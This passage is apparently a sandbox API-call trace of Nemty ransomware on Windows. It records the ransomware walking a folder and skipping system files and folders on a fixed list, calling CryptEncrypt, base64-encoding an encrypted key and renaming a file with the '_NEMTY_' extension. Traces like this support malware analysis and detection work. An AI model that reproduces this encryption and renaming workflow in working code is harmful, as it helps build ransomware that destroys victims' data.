lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0120.663] CloseHandle (hObject=0xffffffff) returned 0 [0120.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0120.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0120.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0120.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0120.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_hover.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_hover.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_hover.png._nemty_kgobjgd_")) returned 0 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0120.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.663] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e2fe6c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e2fe6c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b9f71b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0120.663] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2=".") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="..") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="...") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="windows") returned -1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="$RECYCLE.BIN") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="rsa") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="NTDETECT.COM") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="ntldr") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="MSDOS.SYS") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="IO.SYS") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="boot.ini") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="boot.ini") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="AUTOEXEC.BAT") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="ntuser.dat") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="desktop.ini") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="CONFIG.SYS") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="RECYCLER") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="BOOTSECT.BAK") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="bootmgr") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="programdata") returned 1 [0120.664] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2="appdata") returned 1 [0120.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0120.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_pressed.png", lpUsedDefaultChar=0x0) returned 26 [0120.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0120.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0120.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_pressed.png", lpUsedDefaultChar=0x0) returned 26 [0120.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0120.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0120.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_pressed.png", lpUsedDefaultChar=0x0) returned 26 [0120.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0120.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0120.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_pressed.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_pressed.png", lpUsedDefaultChar=0x0) returned 26 [0120.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0120.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0120.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0120.665] Sleep (dwMilliseconds=0x5) [0120.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb93d1b0, dwHighDateTime=0x1d561e7)) [0120.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb93d1b0, dwHighDateTime=0x1d561e7)) [0120.679] GetLastError () returned 0x5 [0120.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.679] GetLastError () returned 0x5 [0120.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0120.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0120.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0120.680] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0120.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0120.680] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="+2RrQoF63RO2tuQaqPTxrMEKinMm0b9vXpCzUH+UzUnJz75SJPYx7ZZEw3btBC07\r\nQp94Bc9+3g41jK+E/rIhLPcxUAs1+YroY05O/HagmriaeqpjTBosJtjj4ICCj0Y4\r\nmwkzErlOnHa2LteXQd4Ahj53OJPQ0vE/ftYXNyWUE/wYBzBCFjzF2nFl0OISmG4A\r\nBfu8yhs42PhN/Hl2P5UWfkkUBywz+abB+Dj68stJTML/4HFu1vQot5tK65jLBnIb\r\nY68p3qolxRJQcqAP7+0EA0UPK1jmwtw0NalSw8xIOCJlXD0FTv2NTJFQtfirPlra\r\n8yFKHVYHN/NMzxLf2CUajA==\r\n", pcchString=0x653e91c) returned 1 [0120.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0120.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0120.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0120.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0120.680] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.681] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0120.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0120.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 